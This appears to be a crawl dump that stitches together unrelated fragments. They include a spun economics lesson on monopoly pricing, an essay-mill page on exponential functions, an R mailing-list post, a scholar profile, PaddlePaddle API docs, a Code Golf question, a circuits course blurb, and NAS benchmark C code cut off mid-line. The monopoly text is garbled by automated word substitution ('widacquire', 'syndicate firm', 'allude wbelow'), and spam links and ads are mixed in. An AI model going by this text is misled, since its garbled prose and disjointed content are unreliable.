p(q), plus a negative number.Second, the monopoly amount converts marginal revenue and marginal cost, yet the monopoly price is better than the marginal cost.Third, tright here is a deadweight loss, for the exact same reason that taxes produce a deadweight loss: The greater price of the monopoly stays clear of some devices from being traded that are valued more highly than they price.4th, the monopoly earnings from the rise in price, and the monopoly profit is depicted.Fifth, since—under competitive conditions—supply equates to marginal price, the intersection of marginal cost and also demand also corresponds to the competitive outcome.\n\nWe check out that the monopoly restricts output and also charges a greater price than would prevail under competition.\n\nMonopoly Diagram: This graph illustprices the price and amount of the sector equilibrium under a monopoly.\n\n### Key Takeaways\n\nKey PointsUnfavor a competitive company, a monopoly can decrease manufacturing in order to charge a greater price.Because of this, fairly than finding the suggest where the marginal cost curve intersects a horizontal marginal revenue curve (which is tantamount to good’s price), we have to find the allude wbelow the marginal price curve intersect a downward-sloping marginal revenue curve.Monopolies have downward sloping demand curves and also downward sloping marginal revenue curves that have the very same y-intercept as demand yet which are twice as steep.The shape of the curves shows that marginal revenue will always be listed below demand.Key Termsmarginal cost: The increase in expense that acservice providers a unit boost in output; the partial derivative of the cost function with respect to output. Further cost linked via producing another unit of output.marginal revenue: The added profit that will certainly be created by enhancing product sales by one unit.\n\n### Monopoly Production\n\nA pure monopoly has the exact same economic goal of perfectly competitive companies – to maximize profit. If we assume increasing marginal expenses and also exogenous input prices, the optimal decision for all firms is to equate the marginal expense and also marginal revenue of manufacturing. Nonetheless, a pure monopoly can – unchoose a firm in a competitive sector – alter the sector price for its own convenience: a decrease of production results in a higher price. As such, quite than finding the point wbelow the marginal expense curve intersects a horizontal marginal revenue curve (which is identical to good’s price), we need to discover the allude wright here the marginal price curve intersect a downward-sloping marginal revenue curve.\n\n### Monopoly Production Point\n\nLike non-monopolies, monopolists will certainly create the at the quantity such that marginal revenue (MR) amounts to marginal price (MC). However, monopolists have the ability to adjust the market price based upon the amount they create because they are the just source of commodities in the industry. When a monopolist produces the quantity established by the intersection of MR and also MC, it can charge the price established by the market demand also curve at the amount. Because of this, monopolists produce much less yet charge even more than a firm in a competitive industry.\n\nMonopoly Production: Monopolies develop at the point wbelow marginal revenue equates to marginal prices, but charge the price expressed on the market demand also curve for that amount of manufacturing.\n\nIn brief, 3 steps deserve to identify a syndicate firm’s profit-maximizing price and output:\n\nCalculate and graph the firm’s marginal revenue, marginal expense, and also demand also curvesIdentify the point at which the marginal revenue and also marginal cost curves intersect and also identify the level of output at that pointUse the demand curve to uncover the price that have the right to be charged at that level of output\n\n## Monopoly Price and also Profit\n\nMonopolies have the right to influence a good’s price by transforming output levels, which enables them to make an economic profit.\n\n### Key Takeaways\n\nKey PointsNormally a monopoly selects a higher price and lesser amount of output than a price-taking company.A monopoly, unprefer a perfectly competitive firm, has the market all to itself and deals with the downward-sloping industry demand curve.Graphically, one deserve to find a monopoly’s price, output, and also profit by examining the demand also, marginal cost, and also marginal revenue curves.Key Termseconomic profit: The distinction in between the total revenue received by the firm from its sales and the complete opportunity prices of all the sources used by the firm.demand: The desire to purchase products and services.\n\nMonopolies, unchoose perfectly competitive firms, are able to affect the price of an excellent and also are able to make a positive economic profit. While a perfectly competitive firm deals with a single industry price, stood for by a horizontal demand/marginal revenue curve, a monopoly has actually the market all to itself and deals with the downward-sloping sector demand curve. An vital consequence is worth noticing: generally a monopoly selects a higher price and lesser amount of output than a price-taking company; again, much less is available at a greater price.\n\nImagine that the market demand also for widgets is Q=30-2P. This says that once the price is one, the market will certainly demand also 28 widgets; as soon as the price is 2, the industry will demand 26 widgets; and so on. The monopoly’s complete revenue is equal to the price of the widgain multiplied by the quantity sold: P(30-2P). This can additionally be rearranged so that it is created in terms of quantity: total revenue amounts to Q(30-Q)/2.\n\nThe firm can create widgets at a complete cost of 2Q2, that is, it deserve to produce one widacquire for \\$2, 2 widgets for \\$8, 3 widgets for \\$18, and so on. We recognize that all firms maximize profit by setting marginal expenses equal to marginal revenue. Finding this suggest needs taking the derivative of complete revenue and also total cost in terms of amount and establishing the 2 derivatives equal to each other. In this case:\n\nfracdTRdQ=frac(30-2Q)2\n\nfracdTCdQ =4Q\n\nSetting these equal to each other: 15-Q=4Q\n\nSo the profit maximizing allude occurs once Q=3.\n\nAt this point, the price of widgets is \\$13.50, the monopoly’s full revenue is \\$40.50, the complete cost is \\$18, and also profit is \\$22.50. For comparichild, it is basic to view that if the firm created two widgets price would certainly be \\$14 and also profit would be \\$20; if it produced 4 widgets price would be \\$13 and also profit would aacquire be \\$20. Q=3 must be the profit-maximizing output for the monopoly.\n\nGraphically, one deserve to discover a monopoly’s price, output, and also profit by examining the demand, marginal price, and also marginal revenue curves. Aobtain, the firm will constantly set output at a level at which marginal price equates to marginal revenue, so the amount is discovered where these 2 curves intersect. Price, however, is determined by the demand for the great as soon as that quantity is developed. Because a monopoly’s marginal revenue is always listed below the demand also curve, the price will certainly constantly be above the marginal price at equilibrium, providing the firm via an financial profit.\n\nSee more: Where Can I Get Botox Injections Near Me In Joliet Il, Botox Injections Near Me In Richmond, Va",
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"Monopoly Pricing: Monopolies produce prices that are higher, and output that is reduced, than perfectly competitive firms. This causes financial inperformance."
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https://www.write-right.net/blog/research-paper-on-exploring-the-exponential-functions.html | [
"# Research Paper on Exploring the Exponential Functions\n\nWhen the value of a mathematical equation constantly increases or declines by a certain factor, then the function is said to be of an exponential type. For example, if a boy bounces a ball, the height at which it bounces back reduces after each particular bounce. Similarly, just like population of the world constantly multiplies and the population increases, as well as in the case of bank savings with a constant interest rate, these computations can be said to be exponential. Therefore, one can predict the sum of the funds after a certain period of time by plotting the values on a graph or using a computer. These functions are identified whereby the variable in the calculation is the power. Y = ABx illustrates an exponential.\n\nThe equation can be computed using a Microsoft hand-held device and graphical software. The data can be easily entered with the accuracy to the hundredth of the decimal point. It is an appropriate use of technology as it shows the exact regression pattern against the plotted values. By identifying the gradient of the curve at a particular point, one can exactly determine the rate at which growth is multiplying or diminishing at that point in time. However, this activity is an inappropriate use of technology since there are assumptions that the regression or appreciation of the pattern will not be affected by environmental factors. In the case of the global community, it is assumed that no external effect will disturb the population, such as disease or a catastrophe. If the ball bounces it should not be touched or disturbed. Unfortunately, the use of technology cannot transcribe these assumptions thus error is imminent.\n\nOrder custom essay writing\nPricing starting at \\$7.95/page\nNon plagiarised and anonymous"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.91907126,"math_prob":0.95527405,"size":2458,"snap":"2020-45-2020-50","text_gpt3_token_len":465,"char_repetition_ratio":0.118581906,"word_repetition_ratio":0.5995086,"special_character_ratio":0.18388934,"punctuation_ratio":0.08685969,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9919699,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-10-28T11:09:51Z\",\"WARC-Record-ID\":\"<urn:uuid:c1d4f8cb-12d8-4406-b37c-eb770e9f3da2>\",\"Content-Length\":\"35185\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4cf4226d-1111-40f5-a356-b02a54506240>\",\"WARC-Concurrent-To\":\"<urn:uuid:46b55bef-e5ae-40cc-9f28-e91887a80256>\",\"WARC-IP-Address\":\"104.18.33.148\",\"WARC-Target-URI\":\"https://www.write-right.net/blog/research-paper-on-exploring-the-exponential-functions.html\",\"WARC-Payload-Digest\":\"sha1:CXNJYWDBSWE6LSWNTX6BEWA6GI2GPDYI\",\"WARC-Block-Digest\":\"sha1:MI2BKJTRJ3A4PBSV7LBD72MA2AVYYYIE\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-45/CC-MAIN-2020-45_segments_1603107898499.49_warc_CC-MAIN-20201028103215-20201028133215-00606.warc.gz\"}"} |
https://www.stat.math.ethz.ch/pipermail/r-help/2008-October/177443.html | [
"# [R] How to get estimate of confidence interval?\n\nBenoit Boulinguiez benoit.boulinguiez at ensc-rennes.fr\nTue Oct 21 09:39:03 CEST 2008\n\n```Hi,\n\nI don't know the fitdistr function, you may have a look on the function\n\"confint()\". I use it after nls() to get the confidence interval of the\nassessed parameters.\n\nRegards/Cordialement\n\nBenoit Boulinguiez\n\n-----Message d'origine-----\nDe : r-help-bounces at r-project.org [mailto:r-help-bounces at r-project.org] De\nla part de Ted Byers\nEnvoyé : lundi 20 octobre 2008 18:50\nÀ : r-help at r-project.org\nObjet : [R] How to get estimate of confidence interval?\n\nI thought I was finished, having gotten everything to work as intended.\nThis is a model of risk, and the short term forecasts look very good, given\nthe data collected after the estimates are produced (this model is intended\nto be executed daily, to give a continuing picture of our risk). But now\nthere is a new requirement.\n\nI have weekly samples from a non-autonomous process (i.e. although well\nmodelled as a decay process, with an exponential distribution fitting the\ndecay times well, the rate estimates and their sd vary considerably from one\nweek to the next). The total number of events to be expected from a given\nsample over the next week can be easily estimated from a simple integral.\nAnd the total number of these events from all samples, is just the sum of\nthese estimates over all samples. So far, so good (imagine you have a\nsample of a variety of species of radionuclides all emitting alpha particles\nwith the same energy - so you can't tell from the decay event which species\nproduced the alpha particles).\n\nI guess there are two parts of my question. I get a fit of the exponential\ndistribution to each sample using fitdistr(x,\"exponential\"). I am finding\nthe expected values vary by as much as a factor of 4, and the corresponding\nestimates of sd vary by as much as a factor of 100 (some samples are MUCH\nlarger than others). How do I go from the sd it gives to a 99% confidence\ninterval for the integral for that function from now through a week from now\n(or to the end of time, or through the next month/quarter)? And how do I\nmove from these estimates to get the expected value and confidence intervals\nfor the totals over all the samples? I am a bit rusty on figuring out how\nerror propagates through model calculations (an online reference for this\nwould be handy, if you know of one).\n\nThanks\n\nTed\n--\nView this message in context:\nhttp://www.nabble.com/How-to-get-estimate-of-confidence-interval--tp20073921\np20073921.html\nSent from the R help mailing list archive at Nabble.com.\n\n______________________________________________\nR-help at r-project.org mailing list\nhttps://stat.ethz.ch/mailman/listinfo/r-help"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.82913846,"math_prob":0.72445303,"size":2915,"snap":"2022-27-2022-33","text_gpt3_token_len":706,"char_repetition_ratio":0.11542425,"word_repetition_ratio":0.03470716,"special_character_ratio":0.24082333,"punctuation_ratio":0.112068966,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96988165,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-07-02T13:34:05Z\",\"WARC-Record-ID\":\"<urn:uuid:b4c93c85-7cde-473b-ac43-25459dfffd90>\",\"Content-Length\":\"5913\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:36dbcf17-4cb3-49bd-8b73-f9d9ae6769fb>\",\"WARC-Concurrent-To\":\"<urn:uuid:b23c1efc-212e-4f34-b499-7bb086476e96>\",\"WARC-IP-Address\":\"129.132.119.195\",\"WARC-Target-URI\":\"https://www.stat.math.ethz.ch/pipermail/r-help/2008-October/177443.html\",\"WARC-Payload-Digest\":\"sha1:G5KUAZQAOWTCXSFM5YSXJCLNRVM35ZWK\",\"WARC-Block-Digest\":\"sha1:EGEEUBNCI3U35JDTPRYFMPSF5KO4U3QE\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656104141372.60_warc_CC-MAIN-20220702131941-20220702161941-00080.warc.gz\"}"} |
https://www.semanticscholar.org/author/A.-Portaluri/6301960 | [
"• Publications\n• Influence\nThe homology of path spaces and Floer homology with conormal boundary conditions\n• Mathematics\n• 13 October 2008\nAbstract.We define the Floer complex for Hamiltonian orbits on the cotangent bundle of a compact manifold which satisfy non-local conormal boundary conditions. We prove that the homology of this\nIndex theory for heteroclinic orbits of Hamiltonian systems\n• Mathematics\n• 11 March 2017\nIndex theory revealed its outstanding role in the study of periodic orbits of Hamiltonian systems and the dynamical consequences of this theory are enormous. Although the index theory in the periodic\nA Morse index theorem for perturbed geodesics on semi-Riemannian manifolds\n• Mathematics\n• 1 March 2005\nPerturbed geodesics are trajectories of particles moving on a semi-Riemannian manifold in the presence of a potential. Our purpose here is to extend to perturbed geodesics on semi-Riemannian\nON THE DIHEDRAL n-BODY PROBLEM\n• Mathematics, Physics\n• 24 July 2007\nConsider n = 2l ≥ 4 point particles with equal masses in space, subject to the following symmetry constraint: at each instant they form an orbit of the dihedral group Dl, where Dl is the group of\nMorse Index and Linear Stability of the Lagrangian Circular Orbit in a Three-Body-Type Problem Via Index Theory\n• Mathematics\n• 13 June 2014\nIt is well known that the linear stability of the Lagrangian elliptic solutions in the classical planar three-body problem depends on a mass parameter β and on the eccentricity e of the orbit. We"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.80707616,"math_prob":0.8447373,"size":2549,"snap":"2022-27-2022-33","text_gpt3_token_len":672,"char_repetition_ratio":0.13634577,"word_repetition_ratio":0.050847456,"special_character_ratio":0.23107101,"punctuation_ratio":0.14254385,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9878562,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-07-03T07:11:10Z\",\"WARC-Record-ID\":\"<urn:uuid:314fe45f-a218-4bcd-9b41-a186d5cdfce0>\",\"Content-Length\":\"462770\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:66543645-ac06-4167-b778-30345bd199eb>\",\"WARC-Concurrent-To\":\"<urn:uuid:c1f2fa7d-9dc1-43e8-8937-d86630c2de4d>\",\"WARC-IP-Address\":\"18.67.65.61\",\"WARC-Target-URI\":\"https://www.semanticscholar.org/author/A.-Portaluri/6301960\",\"WARC-Payload-Digest\":\"sha1:DXDO2QYAAUN47XUIZYBYGVRS62CET7CQ\",\"WARC-Block-Digest\":\"sha1:ZXSVUZMM2PEMOX3WUYOIFLRDKWVKDPRZ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656104215790.65_warc_CC-MAIN-20220703043548-20220703073548-00106.warc.gz\"}"} |
https://www.paddlepaddle.org.cn/documentation/docs/en/api/paddle/nn/functional/instance_norm_en.html | [
"# instance_norm¶\n\npaddle.nn.functional. instance_norm ( x, running_mean=None, running_var=None, weight=None, bias=None, use_input_stats=True, momentum=0.9, eps=1e-05, data_format='NCHW', name=None ) [source]\n\nSee more detail in nn.layer.InstanceNorm2D.\n\nParameters\n• x (Tensor) – Input Tensor. It’s data type should be float32, float64.\n\n• running_mean (Tensor) – running mean. Default None.\n\n• running_var (Tensor) – running variance. Default None.\n\n• weight (Tensor, optional) – The weight tensor of instance_norm. Default: None.\n\n• bias (Tensor, optional) – The bias tensor of instance_norm. Default: None.\n\n• eps (float, optional) – A value added to the denominator for numerical stability. Default is 1e-5.\n\n• momentum (float, optional) – The value used for the moving_mean and moving_var computation. Default: 0.9.\n\n• use_input_stats (bool) – Default True.\n\n• data_format (str, optional) – Specify the input data format, may be “NC”, “NCL”, “NCHW” or “NCDHW”. Defalut “NCHW”.\n\n• name (str, optional) – Name for the InstanceNorm, default is None. For more information, please refer to Name..\n\nReturns\n\nNone.\n\nExamples\n\n```import paddle\nimport numpy as np\n\nnp.random.seed(123)\nx_data = np.random.random(size=(2, 2, 2, 3)).astype('float32')"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.57224846,"math_prob":0.74565107,"size":1327,"snap":"2022-05-2022-21","text_gpt3_token_len":355,"char_repetition_ratio":0.15495087,"word_repetition_ratio":0.011904762,"special_character_ratio":0.27731726,"punctuation_ratio":0.26104417,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9692849,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-05-28T20:09:49Z\",\"WARC-Record-ID\":\"<urn:uuid:c6db8b3b-e77b-4c73-b464-21902b065781>\",\"Content-Length\":\"298189\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:b9e08fba-5260-402c-91ce-82b39eab2193>\",\"WARC-Concurrent-To\":\"<urn:uuid:51cd0b2a-fe96-4e43-9ca2-3b2fa4b51ebe>\",\"WARC-IP-Address\":\"106.12.155.111\",\"WARC-Target-URI\":\"https://www.paddlepaddle.org.cn/documentation/docs/en/api/paddle/nn/functional/instance_norm_en.html\",\"WARC-Payload-Digest\":\"sha1:GV4ERVYX7LF5B667RX6YVXETN3A3XFAM\",\"WARC-Block-Digest\":\"sha1:5J5TY2L2WJHVHTGUACZQIYYPVYTCV2W7\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-21/CC-MAIN-2022-21_segments_1652663019783.90_warc_CC-MAIN-20220528185151-20220528215151-00056.warc.gz\"}"} |
https://codegolf.stackexchange.com/questions/117981/take-an-input-a-formula-and-do-fx | [
"# What I want:\n\nTake an input, x\n\nTake a formula. It has to be capable of reading something in the format:\n\n• ax^m + bx^n + cx^o ... where m, n, o and any terms after that can represent any value.\n• coefficients, again for any number. For example, 6x^2. (That means 6(x^2))\n• Doesn't necessarily have to put up with spaces\n• times, divide, plus and minus\n• brackets - up to stacking of 5\n• ANY negative numbers\n• fractions\n• To the power of x , these can be integeric (<-- is not a word, but that is the best word I can make up!)\n• If x = 5, you can put -x to get -5 and -x^2 is -(x^2). You could use (-x)^2\n\nAfter it interprets the formula, it has to plug x into the function, then output the value.\n\n## The Challenge:\n\n• Do it in as less bytes as possible\n• The lowest number of bytes wins!\n\n# Example\n\nKey: bp = Background Process\n\n• Give me an input, (x)\n\n4\n\n• Give me a formula:\n\n2^x\n\n• (bp) So I have to do 2 to the power of x, which is 2^4, which is 16\n• Output: 16\n• >Something in the form of ax means a*x Apr 28 '17 at 15:38\n• Does 6-x^2 mean 6 * -(x^2) or 6 * ((-x)^2)? Apr 28 '17 at 15:40\n• I'm really not sure as to what this challenge is asking, could you at least add some test-cases? Apr 28 '17 at 15:41\n• Very closely related, almost duplicate. I'm not sure that adapting the answers to include the use of x would make a significant change to the solutions.\n– user62131\nApr 28 '17 at 15:58\n• @ScottMilner: If I thought it was an exact duplicate I'd have thrown a close vote on. (And given that I got dupehammer rights yesterday, it'd close the challenge by itself.) I don't think it's quite close enough to do that, but it's certainly close enough to make people aware of the possibility.\n– user62131\nApr 28 '17 at 16:12\n\n# TI BASIC, 6 bytes\n\nThis might change, since the rules are still not totally stable, but I wanted to post this while I could.\n\n:Prompt X,F\n:F\n\n\nAsks for X, then parses whatever formula is put into F and displays it.\n\nIf I could assume that X was already stored in the memory, it would be\n\n# TI BASIC (maybe), 0 bytes\n\nIs this ok?Guess not. :-(\n\n• How do I test this? Apr 28 '17 at 15:53\n• @simplest_mathematics If you have a TI-83/84 calculator, you can create a new program and plug it in. If not, you can find emulators online. Apr 28 '17 at 15:55\n• I still don't understand Apr 28 '17 at 15:59\n• A blank code block is <pre></pre>. However, I'm pretty sure the second answer won't work because it would need to take input with X= preceding it, which means you're taking input via a variable, something that's not allowed by default on PPCG.\n– user62131\nApr 28 '17 at 16:03\n• TI BASIC is the programming language of TI 83/84 graphing calculators. You can create full programs in this language. You can find more information here Apr 28 '17 at 16:03"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9124902,"math_prob":0.6492321,"size":1157,"snap":"2021-43-2021-49","text_gpt3_token_len":341,"char_repetition_ratio":0.08412836,"word_repetition_ratio":0.0,"special_character_ratio":0.30769232,"punctuation_ratio":0.13962264,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9876608,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-10-19T06:04:24Z\",\"WARC-Record-ID\":\"<urn:uuid:0285d469-bf76-4435-89d8-7d1972d8552a>\",\"Content-Length\":\"166637\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:69721836-dd42-4dbd-bba5-58a4eb95dd84>\",\"WARC-Concurrent-To\":\"<urn:uuid:09af3908-5901-440e-af93-1497fd0c756e>\",\"WARC-IP-Address\":\"151.101.1.69\",\"WARC-Target-URI\":\"https://codegolf.stackexchange.com/questions/117981/take-an-input-a-formula-and-do-fx\",\"WARC-Payload-Digest\":\"sha1:GPRYTGTRPKOFV7HTRFZ6LNQB3MPJAOXF\",\"WARC-Block-Digest\":\"sha1:3ZJBGZVBXNFOFWIUSPZIKCWRGQI3ZILK\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-43/CC-MAIN-2021-43_segments_1634323585242.44_warc_CC-MAIN-20211019043325-20211019073325-00156.warc.gz\"}"} |
https://www.go1.com/lo/determine-circuit-outputs-from-specified-inputs/31891299 | [
"",
null,
"Interactive\n\n# Determine Circuit Outputs from Specified Inputs\n\nMartech\nUpdated Jan 21, 2021\n\nWhen you complete this lesson, you will be able to use formulas to compute DC series and parallel circuit outputs based on the known inputs. • Compute total current flow through a DC series circuit • Compute total resistance in a DC series circuit • Compute voltage drops across individual resistors in a DC series circuit • Compute total voltage drop through all resistors in a DC series circuit • Compute power dissipated in DC series circuits • Calculate the total power in a DC series circuit • Compute the current in branches of a parallel DC circuit • Compute the total current in a DC parallel circuit • Compute the potential (voltage drop) across resistors in a DC parallel circuit • Compute power dissipated in the resistors of a DC parallel circuit • Compute total power in a DC parallel circuit • Compute the tota\n\n;"
] | [
null,
"https://res.cloudinary.com/go1/image/upload/q_60,h_256/v1611213918/xd8tr4mdkpp9rj8k8med.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8618516,"math_prob":0.86928564,"size":824,"snap":"2022-40-2023-06","text_gpt3_token_len":158,"char_repetition_ratio":0.23780487,"word_repetition_ratio":0.26056337,"special_character_ratio":0.19538835,"punctuation_ratio":0.014705882,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99938554,"pos_list":[0,1,2],"im_url_duplicate_count":[null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-02-03T09:39:50Z\",\"WARC-Record-ID\":\"<urn:uuid:8ce80c92-10d6-487e-b726-48ba1e3d3728>\",\"Content-Length\":\"166065\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:228234d4-70bc-42ba-b85b-a09b95e998b2>\",\"WARC-Concurrent-To\":\"<urn:uuid:29e76abe-9bcd-4cf0-9e80-769e52ce098e>\",\"WARC-IP-Address\":\"13.107.238.40\",\"WARC-Target-URI\":\"https://www.go1.com/lo/determine-circuit-outputs-from-specified-inputs/31891299\",\"WARC-Payload-Digest\":\"sha1:XHDG3RDYLXVOEP5QJB6Z6DCFG5CQKJKL\",\"WARC-Block-Digest\":\"sha1:UAF3TED67SW2CBNTSTMJPQPQGVS7B7FY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-06/CC-MAIN-2023-06_segments_1674764500044.66_warc_CC-MAIN-20230203091020-20230203121020-00609.warc.gz\"}"} |
http://info.iut-bm.univ-fcomte.fr/pub/gitweb/simgrid.git/blob/0992a06d7845b577ac03500bbc555b21e92d6c1a:/examples/smpi/NAS/nas_common.c | [
"",
null,
"Algorithmique Numérique Distribuée Public GIT Repository\n1 /* Copyright (c) 2016-2019. The SimGrid Team.\n2 * All rights reserved. */\n4 /* This program is free software; you can redistribute it and/or modify it\n5 * under the terms of the license (GNU LGPL) which comes with this package. */\n6 #include \"nas_common.h\"\n8 static double start, elapsed;\n10 /* integer log base two. Return error is argument isn't a power of two or is less than or equal to zero */\n11 int ilog2(int i)\n12 {\n13 int log2;\n14 int exp2 = 1;\n15 if (i <= 0) return(-1);\n17 for (log2 = 0; log2 < 20; log2++) {\n18 if (exp2 == i) return(log2);\n19 exp2 *= 2;\n20 }\n21 return(-1);\n22 }\n24 /* get_info(): Get parameters from command line */\n25 void get_info(int argc, char *argv[], int *nprocsp, char *classp)\n26 {\n27 if (argc < 3) {\n28 printf(\"Usage: %s (%d) nprocs class\\n\", argv, argc);\n29 exit(1);\n30 }\n32 *nprocsp = atoi(argv);\n33 *classp = *argv;\n34 }\n36 /* check_info(): Make sure command line data is ok for this benchmark */\n37 void check_info(int type, int nprocs, char class)\n38 {\n39 int logprocs;\n41 /* check number of processors */\n42 if (nprocs <= 0) {\n43 printf(\"setparams: Number of processors must be greater than zero\\n\");\n44 exit(1);\n45 }\n46 switch(type) {\n47 case IS:\n48 logprocs = ilog2(nprocs);\n49 if (logprocs < 0) {\n50 printf(\"setparams: Number of processors must be a power of two (1,2,4,...) for this benchmark\\n\");\n51 exit(1);\n52 }\n53 break;\n54 case EP:\n55 case DT:\n56 break;\n57 default:\n58 /* never should have gotten this far with a bad name */\n59 printf(\"setparams: (Internal Error) Benchmark type %d unknown to this program\\n\", type);\n60 exit(1);\n61 }\n63 /* check class */\n64 if (class != 'S' && class != 'W' && class != 'A' && class != 'B' && class != 'C' && class != 'D' && class != 'E') {\n65 printf(\"setparams: Unknown benchmark class %c\\n\", class);\n66 printf(\"setparams: Allowed classes are \\\"S\\\", \\\"W\\\", and \\\"A\\\" through \\\"E\\\"\\n\");\n67 exit(1);\n68 }\n70 if (class == 'E' && (type == IS || type == DT)) {\n71 printf(\"setparams: Benchmark class %c not defined for IS or DT\\n\", class);\n72 exit(1);\n73 }\n75 if (class == 'D' && type == IS && nprocs < 4) {\n76 printf(\"setparams: IS class D size cannot be run on less than 4 processors\\n\");\n77 exit(1);\n78 }\n79 }\n81 void timer_clear(int n)\n82 {\n83 elapsed[n] = 0.0;\n84 }\n86 void timer_start(int n)\n87 {\n88 start[n] = MPI_Wtime();\n89 }\n91 void timer_stop(int n)\n92 {\n93 elapsed[n] += MPI_Wtime() - start[n];\n94 }\n97 {\n98 return elapsed[n];\n99 }\n101 double vranlc(int n, double x, double a, double *y)\n102 {\n103 int i;\n104 uint64_t i246m1=0x00003FFFFFFFFFFF;\n105 uint64_t LLx, Lx, La;\n106 double d2m46;\n108 // This doesn't work, because the compiler does the calculation in 32 bits and overflows. No standard way (without\n109 // f90 stuff) to specifythat the rhs should be done in 64 bit arithmetic.\n110 // parameter(i246m1=2**46-1)\n112 d2m46=pow(0.5,46);\n114 Lx = (uint64_t)x;\n115 La = (uint64_t)a;\n116 //fprintf(stdout,(\"================== Vranlc ================\");\n117 //fprintf(stdout,(\"Before Loop: Lx = \" + Lx + \", La = \" + La);\n118 LLx = Lx;\n119 for (i=0; i< n; i++) {\n120 Lx = Lx*La & i246m1 ;\n121 LLx = Lx;\n122 y[i] = d2m46 * (double)LLx;\n123 /*\n124 if(i == 0) {\n125 fprintf(stdout,(\"After loop 0:\");\n126 fprintf(stdout,(\"Lx = \" + Lx + \", La = \" + La);\n127 fprintf(stdout,(\"d2m46 = \" + d2m46);\n128 fprintf(stdout,(\"LLX(Lx) = \" + LLX.doubleValue());\n129 fprintf(stdout,(\"Y\" + y);\n130 }\n131 */\n132 }\n134 x = (double)LLx;\n135 /*\n136 fprintf(stdout,(\"Change: Lx = \" + Lx);\n137 fprintf(stdout,(\"=============End Vranlc ================\");\n138 */\n139 return x;\n140 }\n142 /*\n143 * FUNCTION RANDLC (X, A)\n144 *\n145 * This routine returns a uniform pseudorandom double precision number in the\n146 * range (0, 1) by using the linear congruential generator\n147 *\n148 * x_{k+1} = a x_k (mod 2^46)\n149 *\n150 * where 0 < x_k < 2^46 and 0 < a < 2^46. This scheme generates 2^44 numbers\n151 * before repeating. The argument A is the same as 'a' in the above formula,\n152 * and X is the same as x_0. A and X must be odd double precision integers\n153 * in the range (1, 2^46). The returned value RANDLC is normalized to be\n154 * between 0 and 1, i.e. RANDLC = 2^(-46) * x_1. X is updated to contain\n155 * the new seed x_1, so that subsequent calls to RANDLC using the same\n156 * arguments will generate a continuous sequence.\n157 *\n158 * This routine should produce the same results on any computer with at least\n159 * 48 mantissa bits in double precision floating point data. On Cray systems,\n160 * double precision should be disabled.\n161 *\n162 * David H. Bailey October 26, 1990\n163 *\n164 * IMPLICIT DOUBLE PRECISION (A-H, O-Z)\n165 * SAVE KS, R23, R46, T23, T46\n166 * DATA KS/0/\n167 *\n168 * If this is the first call to RANDLC, compute R23 = 2 ^ -23, R46 = 2 ^ -46,\n169 * T23 = 2 ^ 23, and T46 = 2 ^ 46. These are computed in loops, rather than\n170 * by merely using the ** operator, in order to insure that the results are\n171 * exact on all systems. This code assumes that 0.5D0 is represented exactly.\n172 */\n173 double randlc(double *X, double*A)\n174 {\n175 static int KS=0;\n176 static double R23, R46, T23, T46;\n177 double T1, T2, T3, T4;\n178 double A1, A2;\n179 double X1, X2;\n180 double Z;\n181 int i, j;\n183 if (KS == 0) {\n184 R23 = 1.0;\n185 R46 = 1.0;\n186 T23 = 1.0;\n187 T46 = 1.0;\n189 for (i=1; i<=23; i++) {\n190 R23 = 0.50 * R23;\n191 T23 = 2.0 * T23;\n192 }\n193 for (i=1; i<=46; i++) {\n194 R46 = 0.50 * R46;\n195 T46 = 2.0 * T46;\n196 }\n197 KS = 1;\n198 }\n200 /* Break A into two parts such that A = 2^23 * A1 + A2 and set X = N. */\n201 T1 = R23 * *A;\n202 j = T1;\n203 A1 = j;\n204 A2 = *A - T23 * A1;\n206 /* Break X into two parts such that X = 2^23 * X1 + X2, compute\n207 Z = A1 * X2 + A2 * X1 (mod 2^23), and then X = 2^23 * Z + A2 * 